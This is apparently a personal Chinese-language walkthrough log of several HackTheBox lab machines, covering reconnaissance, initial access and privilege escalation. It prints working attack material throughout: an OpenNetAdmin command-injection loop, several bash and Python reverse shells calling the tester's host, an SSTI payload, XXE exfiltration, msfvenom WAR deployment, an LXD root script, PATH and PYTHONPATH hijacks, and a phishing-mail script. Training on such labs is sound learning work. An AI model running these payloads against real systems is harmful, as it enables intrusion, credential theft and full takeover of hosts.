
打完就能直接getshell了

开始提权

LinEnum帮我们找到了hash值 cmd5要付费就自行爆破了

david/Nowonly4me

ssh连一下看看根本登不上去 su都不行

su我还搜了有没有其他的su

开始研究那个网站发现那个网站貌似是以root启动的

但是他只是个纯前端页面没有办法

但并不是这样的他给了可执行权限实际上文件所有能改文件的只有root 执行还是当前用户

到了这一步我已经用了我能想到的所有常规了，这里大概率是非常规

我收集到的非常规的路线如下：

david家目录不可查看但可运行如果我们能获得david家目录的一些提权文件只要能知道名称都行

还有一个我在找到那个密码的文件夹目录下找到了配置文件而那个密码文件夹他就是网站目录文件夹

第一个我们已经看过了我将ip绑到了hosts上

第二个提醒了user 这个没问题进程里面启动的就是www-data用户

第三个只提到了容易破解撞库貌似也没什么

第四个提醒了在home文件夹下有个公开的public 但实际上我们发现家目录下有个david public_www 我们并没有找到

而且最主要是 david目录下我们可以执行但是并不能访问而且他只是david家目录不能访问但是david家目录下面的子目录子文件是可以访问的如下

所以目前在我们面前有两条路

第一个是对david家目录进行爆破

第二个是public_www 我们得找到在哪

我在搜索了很久并没有找到public_www 但是后面有个重大发现

他就藏在david目录下翻了一下找到了ssh的备份密钥

传到kali上

密码如下

成功登录

翻了些文件发现一个有意思的

sudo提权我只要一尝试就需要密码，但他这里不需要就很奇怪

后续测试发现只有输入 /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service

这条命令时才可以sudo无需密码执行就是说多一个字符更改一个参数后面加任何东西都不行只能靠|，&，；等等来拼接才能执行但是很明显拼接了之后他就不是原来的权限了

而且他把路径写死了没有写死路径的话可以替换文件提权

https://www.linuxcool.com/journalctl

这个里面介绍了journalctl的参数 -n指的是行数 -u指定的是服务

我完全没想明白这两个有什么联系

后面试了很多方法但是始终没有解决这次看了wp 上面讲述到 journalctl 他输出的时候它规定了5行输出所以输出完了你根本无法输入命令但是它是根据你当前窗口的大小来输出的只需要将窗口缩小就行

结束了这一关非常考验搜索能力主要是一个是搜配置文件我并没有搜到还是猜出来的

还有一个是搜journalctl参数这个是搜到了但是关键点在于缩小当前命令行窗口让他卡在命令行界面这一步没有搜到我并不清楚这种是日积月累的还是考验搜索能力

21.OpenAdmin

信息收集：

打点比我想象的更简单

http://10.10.10.171/music/

这个页面可以login和create account

点击login 跳转到了http://10.10.10.171/ona/

上面有个download

找到了框架以及版本

读了一下缺少url

给参数加上url就行

1
2
3
4
5
6
7


#!/bin/bash

URL="http://10.10.10.171/ona/"
while true;do
 echo -n "$ "; read cmd
 curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
done

然后他会死循环发包包就是你要执行的命令相当于一个交互型的shell了

这里我们选择弹一个回来

试了一堆不清楚是哪个成功了总之弹回来了这一步在我的理解下主要是反弹shell可以生成tty

反弹回来的也生成不了tty 很奇怪

可能是我弹的方式不对那就先不管了先看配置文件

并没找到什么东西但是有个很奇怪的点

当前目录是这个他的上一级并不是所看到的index.html的默认界面而是这个框架的配置文件 www刚好是他的网站目录所以说

在他的apache的配置文件里肯定包含 ona和artwork的索引首先先找apache的配置文件

但是我使用find并没有找到配置文件

于是我试了下搜索artwork 找到了目录一切就清楚了

没有能越权的东西权限都是 www-data 但是这里面还有几个目录有一些应用程序里面有两个文件夹有.DS_Store

https://github.com/gehaxelt/Python-dsstore

解析完了也没什么特别的目录应该是项目自带的

传了LinEnum上去也没发现什么特别的东西

/usr/bin/python3 -c ‘import pty; pty.spawn("/bin/bash")’

倒是找到了python3在哪获得了tty

后面实在是没有路了我便回网站再看几次根据他的php文件之类的我能确定是由数据库连接的

开始翻目录文件最终在 /opt/ona/www/local/config

找到了一个密码

n1nj4W4rri0R!

目前的思路又开始清晰了先试试home下的用户密码

如果不行本地的3306是开启的看进程的时候看到过可以直接连上去再翻其他密码

最终我在jimmy上登陆成功

第一时间还是sudo

无法使用第二时间我就直接去找到了我之前发现的文件夹

当时没有权限进不去

main.php告诉了我他直接去cat /home/joanna/.ssh/id_rsa

但是我试了没有权限

在index.php里我看到了一个密码

还是要给钱

并且这个密码跟n1nj4W4rri0R!这个密码的sha1不一样

找到了

su失败了接着读源码看看是咋回事

很简单一件事登陆成功给个session然后跳转main.php

main.php会执行命令去查看/home/joanna/.ssh/id_rsa

我没有必要去启动这个php或者把他移动到web目录里因为执行这个命令的权限就是jimmy 我目前手动测试是没用的放到web目录里他也没用如下

目前能得到的信息就是joanna有个私钥

忙活了一段时间貌似没有了任何思路但是我突然想到了一点

当前文件的所有权是jimmy的但是并不代表启动的用户还是jimmy

在pspy32的进程中我只发现了很多pid在运行apache2 但是并没有标明用户于是我开始查看

我本来以为uid33的www-data一直在开启apache2 但是

root也开了一个

存在一个没见过的端口 nmap没有给我报告这个端口大概率是在本地

出结果了确实存在东西在看pspy32的时候也要记得手动去找

curl一直失败还是搭个隧道吧

ssh -L 8888:localhost:52846 jimmy@10.10.10.171

获得了但是我有个想法当前root运行的这个站点我在里面写个shell不就是root权限了吗

理解的有问题上来的还是joanna账户

但总算是提上来了

sudo -l -s 还是用不了虽然不知道密码但是得先能用因为确实没其他思路了

登陆成功果然登陆了之后可以sudo -l了

结束这个靶场扩展了一些思路但是流程方面还跟之前差不多主要是得细心观察主要集中在提权了用了两个小时唯一搞不明白的就是为什么root的权限挂shell之后是joanna

开始翻wp

第一处：

curl可以直接访问main.php 但是我读代码的时候他会验证一遍session 这明显不现实下图是我测试的访问main会跳回主页面这和源码是一个逻辑

网页不行但是本地还真可以

我只curl了index.php 发包请求登录这一点没注意到

第二处

原因在这里他以joanna的身份启动的web服务所以虽然是root启动的但是用户身份还是joanna /etc/apache2/sites-enabled 这个目录存在配置文件

第三处

当时第一次并没有翻到jimmy的密码也就是那个数据库的密码没仔细去翻那个文件

但是进程里是存在的他有一个计划任务这一点后面才注意到

22.Magic

信息收集：

直接说结论吧 getshell难度还行

登录口可以sql注入的我尝试盲注不行但是是可以进后台的

他并不会自动跳转我以为要手工注入

但是在Location这个地方提示了要跳转upload.php

session已经被写入数据库了所以直接跳转不会提示没权限的只要用万能密码进就行了

upload页面这里也说结论吧白名单尝试绕过就行 upload_labs 里面有一个%20截断尝试了一下可以绕过具体如下

访问之后成功弹出shell

开始提权信息收集

我说怎么sleep没效果

基本上翻完了包括theseus用户的文件夹只能看到有一个mysql服务

实际上我获得的那个数据库账号密码并不能su到目标用户提示密码错误

ssh也提示只能用私钥去连这里我直接放结论吧

其他都看完了只剩mysql没看并且mysql在靶机上是没有的只能做端口转发

这里我使用的是frp

frps -c frps.ini

1
2


[common]
bind_port = 7000

frpc -c frpc.ini

1
2
3
4
5
6
7
8
9


[common]
server_addr = 10.10.16.3
server_port = 7000

[mysql]
type = tcp
local_ip = 127.0.0.1
local_port = 3306
remote_port = 6000

启动起来就行

1

mysql -u theseus -P 6000 -p -h localhost Magic

成功上来了

找到了一个密码

成功切换到了theseus

接着信息收集我没有找到任何有用的东西 suid的我全看了

找到了一个有意思的我们当前其实还有users组跟这个刚好对上

全看了一遍只知道这个是专门针对users组的我并不知道咋用

后续实在是找不到了看了wp才知道这里是可以利用的而且对于我来说很复杂

知道切入点就开始操作了这里他调用命令并没有任何限制也就是它是以root的身份执行这俩命令的

也就是说根据环境变量索引找到的第一个命令会被root执行

这个顺序上面找到了/sbin目录 fdisk就在里面但是前面的并不能写入文件

但是还可以使用export设置临时的环境变量看了下介绍直接执行

export PATH=/tmp:$PATH

这样第一时间是去tmp文件夹里找环境变量

将反弹shell的命令写入fdisk

echo “bash -c ’exec bash -i >& /dev/tcp/10.10.16.3/6666 <&1’” /tmp/fdisk

成功连上来了到此结束

这一次非常规提权有点难这个靶机更多的是提权 theseus提权到root是真的没想到这里能藏一个但这是标准的oscp靶机只能说思路还得扩展平常根本发现不了 suid有很多的他给的提示就是给当前用户一个users组然后那个root的文件给了个s

刚好匹配上这个提示藏得有点深其次就是我没想过这种命令他会执行一些系统命令不带索引而是走环境变量藏得非常深

23.Admirer

信息收集：

直接说结果 ftp没有匿名登录但是根据目录爆破找到了ftp的密码 ftp登陆上去发现两个文件

解压之后找到了重要文件

http://10.10.10.187/utility-scripts/admin_tasks.php

这个主要方式就是如果task等于1-7 就执行shell_exec("/opt/scripts/admin_tasks.sh $task 2>&1"))

所以这里只要能够填写数字然后后面拼接命令就行主要是绕过if语句1-7

但是php弱类型完全无法绕过

这个地方获取根本不存在漏洞基本上发现的目录都进行了爆破

最后没有找到方法看了下一步的wp 发现还有一个adminer.php的文件他跟靶机的名称就差了一个字符我并没有找到他 wp的下一步是根据提示出来然而我并没有发现任何提示

目前有了一个新的切入点就是 adminer.php

我尝试利用之前获得的账号密码进行连接发现根本行不通这个地方又卡了我很久很久我没想到这一个地方能卡这么久后续也是实在是没办法了看了眼wp

他是这么提示的他说这个mysql一直连不上没办法有一个思路如下

https://infosecwriteups.com/adminer-script-results-to-pwning-server-private-bug-bounty-program-fe6d8a43fe6f

这个思路是这样的 CVE-2021-43008读取文件是在它本地读只要我们能进去连接到后台去就行无论连接的是谁的数据库

于是又找到了一个切入点就开始操作这次非常顺利

在kali上开启mysql 下面是我参考的博客

https://www.cnblogs.com/dll102/p/16008382.html

https://blog.csdn.net/lxyoucan/article/details/131282508

操作完就可以在远程服务器上进行连接了最主要是这一步

这里就可以进来的再根据下面这个博客利用文件读取漏洞进行读取

https://podalirius.net/en/cves/2021-43008/

但是这里要注意一点就是/etc/passwd等是无法读取的后面猜到/var/www/html目录可以读里面的内容但是utility-scripts/db_admin.php 这个文件并不存在所以无法读取数据库密码等信息后续发现 /var/www/html/index.php 里面还是存在密码的

密码不一样导致的无法连接

其实在这一步我试了很多读passwd、读waldo的私钥等都没有用到这一步才找到

这个密码可以连接ssh 就此拿到了立足点上线之后第一件事有密码了直接sudo -l

还是有东西的这里讲一下我的思路吧

无法修改的权限

里面的参数都指明了是什么文件并不存在更改环境变量来越权包括/usr/bin/mysqldump这个文件他没有个w权限

那么非常可疑的就是backup.py那个文件了

只给了r权限

这里就有点一目了然了伪造一个shutil.py的文件在这个程序启动时会自动调用 shutil.py 这个时候放入主函数的代码也会调用写个shell就行

所以目前的思路就是劫持python库最最最常见的方法有两种第一个在backup.py下面写一个shutil.py 他会优先调用当前文件夹的库

但是并没有写入权限

第二种就是直接改链接库里的shutil.py 但是也没有权限

试了都不行 google之后发现还有两种方法就是添加当前终端的环境变量

export PYTHONPATH=/tmp/ 但是我试了还是不行

第二种方法就是在sudo的时候传入环境变量

echo ‘import socket,subprocess,os\ndef make_archive(a,b,c):\n\ts=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n\ts.connect((“10.10.16.21”,9999))\n\tos.dup2(s.fileno(),0)\n\tos.dup2(s.fileno(),1)\n\tos.dup2(s.fileno(),2)\n\timport pty\n\tpty.spawn(“sh”)’ > shutil.py

写入文件并不能转义这里从kali上面把文件传了过来最后构造命令就行了

wget http://10.10.16.21:33333/Admirer/utility-scripts/shutil.py;chmod 600 shutil.py;sudo PYTHONPATH=/home/waldo /opt/scripts/admin_tasks.sh 6

到此就结束了

这个靶场在我看来非常符合oscp 正是因为符合所以有很多东西都特别复杂

第一个adminer.php这个文件我一直没有想到第二个关于adminer的特性我也完全没有搜到第一个考验思路第二个考验搜索能力也就是google的能力需要提炼词汇进行搜索

然后就是提权提权这部分算是比较简单的但是python引用的这部分我浪费了很多时间前三种方法一直行不通最后才找到的 sudo 后面加上环境变量可以直接传入给sudo后面的命令不带环境变量直接 export PYTHONPATH=/home/waldo 导致后面的识别不到又或者sudo -E 可能会把环境变量带过去但是实际上并没有这个地方也浪费了很多时间

24.Blunder

信息收集：

直接讲结论吧一开始的信息收集可能有敲门端口才能解开这个先记一下接着往后走根据网站的信息找到了框架

BLUDIT v3.9.2

直接找exp打就行符合这个版本的在kali里面搜索只搜到了用户爆破的脚本

用户名也出来了

种种其实都提示要去爆破给了用户名给了版本号而且是3.9.2及以下版本才有这个用户爆破的脚本

cewl对主页进行爬取生成了一个字典

直接跑脚本就行

有了账号密码但是kali里面没有给rce的脚本 google找到了一个符合的脚本

介绍：https://www.anquanke.com/post/id/197105

脚本：https://github.com/ynots0ups/CVE-2019-16113/blob/master/cve-2019-16113.py

直接利用就行可能得改一下不然会有点问题

主要的问题在这根据报错找到了原因

最后不要有/ 不然就会报错

拿到了shell

开始提权第一件事翻配置文件

找到了一堆db.php 但是没东西接着翻到了databases下面的user.php 里面有账号和密码

第一个是加盐了的账号是admin 可以用john进行爆破

但是第二个3.10版本有一个hugo的用户

正好家目录其实也有个hugo

hugo:Password120 直接su hugo就行了

直接就切换到shaun了

LinEnum给了一个利用点其实在www-data的时候我就发现这个了他的组实在是太多了找给组的可利用程序可以看看

但是并没有这些组可以利用的可执行程序后续一直在找利用点一直找不到

当时找到了版本我尝试利用这个版本的漏洞

最终找到了这个 https://www.exploit-db.com/exploits/47502

很巧的是它的利用条件就跟我在hugo的sudo -l一样

执行 sudo -u#-1 /bin/bash 成功提权

这个相对来说还是比较简单的没有学到新的服务程序等等

算是常规类的需要的只是思路只能说在优化一下思路把每一个程序都可能存在漏洞都需要挨个看

25.Tabby

信息收集：

没有udp的

直接说结论吧

任意文件读取 php伪协议貌似行不通不能读出来index.php和news.php的源码

后续就没找到其他东西了网站目录还是在 /var/www/html/index.php

到这里就非常明显了找到tomcat-users.xml 直接登录进去就行

我试了很多目录都不行收集了很多字典都不行最后才找到这个目录

https://talk.openmrs.org/t/configuring-apache-tomcat-9/32379

这个问答提到了 usr/share/tomcat9/etc/tomcat-users.xml

收集完这些信息之后丢掉burpsuite跑最终跑了出来值得一提的是在html里面xml是不会显示的得f12查看源码

view-source:http://megahosting.htb/news.php?file=../../../../../../../../../usr/share/tomcat9/etc/tomcat-users.xml

1
2
3


 <role rolename="admin-gui"/>
 <role rolename="manager-script"/>
 <user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>

manage登录不上只能登录到http://megahosting.htb:8080/host-manager/html

https://cloud.tencent.com/developer/article/1578239 https://blog.csdn.net/weixin_41924764/article/details/108196725 这两个博客写的非常好完全就是针对于这个情况的

但是我尝试了非常非常多的次数找了些博客提示貌似得在这个网站定义我们的域名才能使用不然无法使用后续只能找其他方法根据角色名称我找到了两个教程

google搜索 Apache Tomcat manager-script exploit

https://medium.com/@nginx0/backtrack-2-5-thm-writeup-cb4eddb8b18c

https://medium.com/@cyb0rgs/exploiting-apache-tomcat-manager-script-role-974e4307cd00

都是同一个漏洞我本以为这个war文件和在tomcat manager页面生成的方式是一样的自行打包就行所以我一直在尝试自己的war文件这两个教程教的都是 msfvenom 生成war后门一般来说oscp允许使用一次msf 但是生成后门的msfvenon没有限制次数因为他只是用来生成后门的只有msfconsole允许一次

试了自行生成的一直不行

1
2
3
4


msfvenom -p java/shell_reverse_tcp LHOST=10.10.16.19 LPORT=9999 -f war -o pwn.war
curl -v -u 'tomcat:$3cureP4s5w0rd123!' --upload-file pwn.war "http://megahosting.htb:8080/manager/text/deploy?path=/foo&update=true"
curl http://megahosting.htb:8080/foo
nc -lvnp 9999

直接就能拿到shell了

准备提权

sudo -l 以及s 还有suid都没有

第一件事先去看看www目录有什么 new.php只有任意文件读取没有文件包含

但是file文件夹的所有者为ash

nc传到kali然后解压看看

但是要密码解出来密码为 admin@it

我后面看了半天解压的文件啥都没有唯一有可能的我理解为 fgets 这个函数可能存在文件包含但实际上不可能存在

后续想到了它可能是ash的密码 su切换一下发现还真是

后续接着提权我试了很多方法 sudo不让用 pspy32给了个

实际上也没用然后我想到了 80端口那个网站权限会不会是root的如果我往ash拥有的文件夹 files写入php文件

是不是就能直接提权root 但是实际上那个files文件夹不允许写入 chmod +w 都不行只允许可读权限被限死了

包括sudo的版本

这些组我都挨个find找是否有用户组存在的可执行文件等等

但是都没有最后我传上去了 LinEnum

提到了这个我并不清楚他提的lxd是什么去搜了下

找到了很多关于这个的exploit 这些博客提到如果我属于lxd或者lxc组我就可以成为root

kali上也有关于这个的payload

我尝试根据这个payload去操作但是一直执行失败最终我在google里的第一篇文章解决了

https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation

我上传上去发现一直执行失败首先得改exp 他没有给lxc和lxd设置环境变量

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50


#!/usr/bin/env bash

# ----------------------------------
# Authors: Marcelo Vazquez (S4vitar)
#	 Victor Lasa (vowkin)
# ----------------------------------

# Step 1: Download build-alpine => wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine [Attacker Machine]
# Step 2: Build alpine => bash build-alpine (as root user) [Attacker Machine]
# Step 3: Run this script and you will get root [Victim Machine]
# Step 4: Once inside the container, navigate to /mnt/root to see all resources from the host machine

function helpPanel(){
 echo -e "\nUsage:"
 echo -e "\t[-f] Filename (.tar.gz alpine file)"
 echo -e "\t[-h] Show this help panel\n"
 exit 1
}

function createContainer(){
 /snap/bin/lxc image import $filename --alias alpine && /snap/bin/lxd init --auto
 echo -e "[*] Listing images...\n" && /snap/bin/lxc image list
 /snap/bin/lxc init alpine privesc -c security.privileged=true
 /snap/bin/lxc config device add privesc giveMeRoot disk source=/ path=/mnt/root recursive=true
 /snap/bin/lxc start privesc
 /snap/bin/lxc exec privesc sh
 cleanup
}

function cleanup(){
 echo -en "\n[*] Removing container..."
 /snap/bin/lxc stop privesc && /snap/bin/lxc delete privesc && /snap/bin/lxc image delete alpine
 echo " [√]"
}

set -o nounset
set -o errexit

declare -i parameter_enable=0; while getopts ":f:h:" arg; do
 case $arg in
 f) filename=$OPTARG && let parameter_enable+=1;;
 h) helpPanel;;
 esac
done

if [ $parameter_enable -ne 1 ]; then
 helpPanel
else
 createContainer
fi

再利用上面的教程生成 alpine-v3.8-i686-20241027_1315.tar.gz

然后把两个文件一起传到目标机器执行

./46978.sh -f ./alpine-v3.13-x86_64-20210218_0139.tar.gz

就能成功提权这里我卡了非常久

一半是因为生成alpine-v3.13-x86_64-20210218_0139.tar.gz这个文件一直失败

一半是因为提权成功执行cat什么命令不成功直接就崩溃了完全没办法我还要一直重启然后重复命令到这一步

46978.sh这个文件反而简单就是没获取到lxc和lxd给他们加个绝对路径就行

后面才发现我的操作有问题根据46978.sh描述我只要进入/mnt/root 就能查看所有文件

结束

也算是常规提权只有一个tomcat的 manager-host没遇到过还有个lxd 并不是意料之外的技术通常都是找exp 读懂exp 然后打上去就行

只是第一次使用浪费的时间非常多只能加强自己的搜索能力仔细看payload

26.Doctor

信息收集：

网页收集到一个域名加到host里

再次访问域名如下页面

注册一个账号就能直接进去

源码和目录爆破工具都提示了/archive 这个目录

但是他刚开始为空没有东西

有意思的是在new message里面可以生成博客

http://doctors.htb/post/1

这个可以看到那个1是干啥的那个接口并没有sql注入或者什么其他的东西

当我新建了message之后

http://doctors.htb/archive

会出现我新建的东西这里我出现了很大的失误我以为是XXE 尝试了很久这里他没有回显我尝试如下的方法试了很多一直失败但是他是可以请求的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


</title></item><!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data><item><title>

</title></item><!--?xml version="1.0" ?-->
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://10.10.16.19:5000/evil.dtd?x=%file;'>">
%eval;
%exfiltrate;
<item><title>

就是好像读取不到文件

但是能发起请求

算是个误区把我尝试了非常多的payload 都不行在搜了很多之后我发现提示的貌似都是php和java的XXE 没有关于python的这个漏洞介绍和利用

其实在刚见到这个网站的时候就whatweb过一次

但是貌似没什么东西

但是后面在搜索了之后发现python作为后端用flask搭建的时候会存在ssti模板注入突然就想起来了 python作为后端实际上可能就是会存在这个漏洞

先测试下看看存不存在

新建完访问

view-source:http://doctors.htb/archive

没有问题开始准备exp

https://payatu.com/blog/server-side-template-injectionssti/

这个博客的exp没有问题直接构造payload上传上去就行

1

{{request.application.__globals__.__builtins__.__import__('os').popen("bash -c 'exec bash -i >& /dev/tcp/10.10.16.19/6666 <&1'").read()}}

拿到了shell

开始提权

一上来就看到了这个admin的用户

这个用户并不是我创建的在我执行sudo -l的时候需要填写密码目前的思路就是解开这个然后sudo -l看看

$2b$12$Tg2b8u/elwAyfQOvqvxJgOTcsbnkFANIDdv6jVXmxiWsg4IznjI0S

找到了算法 bcrypt 直接用john跑就行了

实际上我后面跑完了都没啥用完全跑不出来而且跑bcrypt太卡了又太慢了

这条路根本走不通开始尝试其他提权

suid和sudo都没有家目录实际上还有一个用户shaun

但是又发现了一个用户它的家目录为/opt/splunkforwarder 里面有个readme还有版本号

google了一下这个程序就架设在8089端口之前nmap扫到过但是我测了半天一直没东西就没管可能提示就是越权到splunk

这个版本我并没有找到exp 但是根据下面这个网站的描述只要能登陆进去貌似就能获得getshell

https://book.hacktricks.xyz/network-services-pentesting/8089-splunkd

我开始尝试找配置文件

https://community.splunk.com/t5/Security/How-to-create-a-Splunk-user-using-configuration-files/m-p/329862

无法读取后续一直在看这个站点并没有任何能渗透的地方并且它是以root运行的

我开始上传linenum帮我看看但是linenum并没有什么东西

我开始看group 结果发现很多日志我都可以看

find / -group adm 2>/dev/null -not -path “/proc/*” 2>/dev/null

我大概有了一些思路 80的网站或者8089的那个网站肯定有人登录如果8089的网站是因为不知道路径以及账号密码才导致无法访问那么检索所有配置文件就能找到80和8089网站的密码然后再进行下一步操作

没有找到8089的但是发现了一个密码

/var/log/apache2/backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] “POST /reset_password?email=Guitar123” 500 453 “http://doctor.htb/reset_password”

Guitar123 开始尝试su

成功提权到shaun

所有的一切都指向了8089端口的splunkd

我第一件事想的是要本地搭建隧道但是本地也访问不了

他开的是0.0.0.0 所以不存在只存在本地的情况本地也无法访问

最后才发现我一直用的http协议

成功访问了

这里只有services和serviceNS可以访问要求输入账号和密码刚好我们有个shaun的账密

而且虽然我们看不了这个服务的passwd以及存在哪些用户但是实际上在我之前搜索的时候貌似splunkd会调用本地的/etc/passwd生成一个新用户用于登录

成功进来了

网上的getshell的教程有很多他们也提到了这个app经常是由root运行的

但是根据所有的教程都是图形化的去上传apps 然后根据上传的文件内容来getshell

但是这里并没有任何图形化界面让我去点击我只能寻找绝对路径在一篇博客里我看到了可以将app解压到本地这样跟图形化点击是一个效果

但是并没有写入权限目前的思路就是找到上传app的那个接口或者在本地接着提权到splunk

但是都不行我开始去找poc

https://github.com/cnotin/SplunkWhisperer2

每次找到exp 我不会使用时都会去搜索这个项目名称看看原理

https://clement.notin.org/blog/2019/02/25/Splunk-Universal-Forwarder-Hijacking-2-SplunkWhisperer2/

这个介绍没有啥作用根据代码里面的参数构造poc

https://github.com/cnotin/SplunkWhisperer2/blob/master/PySplunkWhisperer2/PySplunkWhisperer2_local_python3.py

我这里用的是本地提权的脚本先测试一下

python3 2.py –scheme https –port 8089 –username shaun –password Guitar123 –payload ‘id > /tmp/1.txt’

真没问题创建的还真是root的权限

但是后续我尝试su等等都有问题看了下代码貌似不能在当前持久运行弹个shell看看

python3 2.py –scheme https –port 8089 –username shaun –password Guitar123 –payload “bash -c ’exec bash -i >& /dev/tcp/10.10.16.19/1234 <&1’”

结束了这个靶场我用了很多时间获得立足点的地方找错思路了去看了XXE 最后才发现是SSTI 然后就是web提权到shaun 这个不算难但是刚开始没有这个思路导致浪费了很多时间包括去爆破db里面的那个hash值最后才去看了adm这个用户组我觉得基本上没问题常规流程就是这样只能说速度太慢了

然后就是提权到root 这个服务我看了半天找了很多博客才找到关于漏洞的利用漏洞利用的方法反而不难但是在看那些代码的时候感觉很浪费时间但是最后还是能运行这也算常规流程只是速度太慢了或者 google搜索的方式也得优化这个靶场总结下来就是得多打靶场吧提升思路

27.SneakyMailer

信息收集：

http://sneakycorp.htb/index.php

这个网站得到了一个有用的信息

有个叫Bradley Greer的是一个测试人员

老板的名字是Cara Stevens

还告诉我们分配了工作需要我们去邮件里面查看并且还可以使用pip 这里有一个存疑点就是我们的用户名称叫什么并不知道只是用You来代表我们的名称

这个里面有团队的所有邮箱和角色名称

Bradley Greer的

老板Cara Stevens的

收集完这些信息之后开始挨个看服务 ftp没有匿名登录

SMTP可以连但是我们不需要写邮件但还是挨个看看

8080是个nginx页面现在开始爆破80以及8080 然后去看 143和993的imap

经过爆破找到了一个注册页面http://sneakycorp.htb/pypi//register.php

但是没有任何效果所以这里一定是朝邮件下手

先保存所有邮箱然后验证

smtp-user-enum -M VRFY -U user.txt -w 20 -t 10.10.10.197 25

都是存在的目前只能针对143进行爆破

用我收集的邮箱和cewl收集的密码进行爆破

结果就是啥都没有

一直在找相关的漏洞可能就是要打exp 但是实际上我弄了半天都没效果甚至版本号都没有直接找符合条件的

这里完全是卡死了没有任何办法就去看了wp

为了确保只有这一条路我翻了很多wp的关于这一步的测试无一例外都是朝所有邮箱发链接? 基本上除了发送的方法不一样思路都是一样的

smtp是可以发邮箱的这是很常见的一件事但是我没想到可以通过发链接来钓鱼让别人把信息发回来这是我绝对没想到的

到这一步有思路了就直接发链接就行

构造payload

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


#!/bin/bash

{
 echo "helo smtp"

 while read i; do
 echo "Mail from:test@sneakymailer.htb"
 echo "Rcpt to:$i"
 echo "data"
 echo "subject:test"
 echo ""
 echo "http://10.10.16.19:6789/"
 echo "."
 done < user.txt

 echo "quit"
} | nc sneakycorp.htb 25

运行完就能发了

nc收到了回包

firstName=Paul&lastName=Byrd&email=paulbyrd@sneakymailer.htb&password=^(#J@SkFv2[%KhIxKk(JuhqcHl<:Ht&rpassword=^(#J@SkFv2[%KhIxKk(JuhqcHl<:Ht

ftp连接不上

开始尝试143 imap应该能看到收件

https://blog.csdn.net/hi_teotong/article/details/49635781

这个博客写的很好

结果143也不行

看一下993吧

openssl s_client -crlf -connect sneakycorp.htb:993

接着执行

a001 LOGIN paulbyrd@sneakymailer.htb “^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht”

还是不行

尝试用工具看看

https://www.cmdschool.org/archives/5449

https://imap-cli.readthedocs.io/en/latest/installation.html

刚安装好有代码错误改了下代码能用了

但还是报错

登陆失败但我感觉是因为他没走993端口走的是143

始终无法登录尝试一下ssh吧 ssh也不行

我能确定的是既然给了邮箱和密码大概率就是邮箱但是目前我的imap-cli是无法使用的他无法指定端口等等

后续我找到了 evolution 这个软件

apt-get install evolution

安装就行不要以root权限运行不然打不开的非常纯粹的一个软件网上根本找不到教程只能自己看网上只有安装教程

993和143都无法登录一直登陆失败

没想到最终是以paulbyrd的身份登陆进去的我之前一直是加的邮箱

但是又出问题了

结果问题是因为这个软件evolution在关闭在开启的时候会重启kali 所有服务全部断掉然后我又去开了openvpn 导致卡死了根本连不进内网导致的

重启之后就好了只不过后面不要再关闭evolution这个软件了

我先用imapcli测试了一下

第一个账号错误是我故意的

第二个账号正确报错信息不一样了代表imapcli软件的问题

接下来就启动evolution

进来之后又卡了半天终于进来了

看到两封邮件

第一封有信息泄露

Hello administrator, I want to change this password for the developer account

Username: developer

Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C

Please notify me when you do it

终于登录到ftp了这个密码能验证ftp

第一件事就是发现这个貌似是网站目录的备份？或者他就是网站目录因为刚刚的邮件提到我们要去开发pypi这个文件夹里的东西大概率就是网站目录直接上传shell就行

但是传上去之后无法访问的同时过一段时间还会被删除我尝试去pypi里面传但是里面完全不让上传文件

后续试了一下貌似所有目录都不能传文件只有dev目录可以传而且无法访问且会被删除

第一件事我想的可能是存在条件竞争试一下

实际上并不行

又卡住了实际上我去看ftp里面的源文件他们完全不可能是目前站点上的文件至少能确定的是index.php和站点上的不一样

这是完全没有的还有些其他文件也不存在

我只能把他理解成备份了但是如果理解成备份配置文件应该有东西吧实际上并没有这几个php文件都是纯html前端代码没有关于任何后端的东西

这里没办法看了下老外的wp提示有一个子域名到这一步思路就清晰了

ffuf -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.197 -H “HOST: FUZZ.sneakycorp.htb” -fs 185

ffuf模糊测试刚好可以爆破

结果是 dev.sneakycorp.htb

加到hosts里面

果然这里跟刚刚看到的index.php是一样的

其实在目录的地方也提示了 dev目录在今后必须在拿到域名后ffuf测试一下然后再继续

直接put然后访问就行

终于成功拿到了shell

开始提权

在pypi.sneakycorp.htb目录里有一些文件

其中 .htpasswd 里面有pypi的密码需要跑hash

packages 不允许进入只允许pypi-pkg组的进入

然后就是venv venv就只是个虚拟环境的配置里面只有些基础文件这个不是很重要我在思考接下来的步骤

这是group里面的内容其中pypi-pkg组里面存有pypi用户

pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/

那目标就很明确了提权到pypi然后去看看packages目录

https://groups.google.com/g/securityfocus2/c/dVILePi_mTE?pli=1

一开始不知道怎么爆破知道这个博客给了我启发

仅仅只需要指定这个文件即可不需要多余操作最终爆破了出来

soufianeelhaoui

跟预料当中的一样 pypi设置的nologin 所以我并不能去su

存在家目录的两个用户也无法去su 密码错误 ftp也无法登录pypi

找到了pypi的网站在8080端口加了个hosts就能访问了

它提示了pypiserver的版本为1.3.2 并且在simple那里是可以进行登陆的只是里面没东西罢了

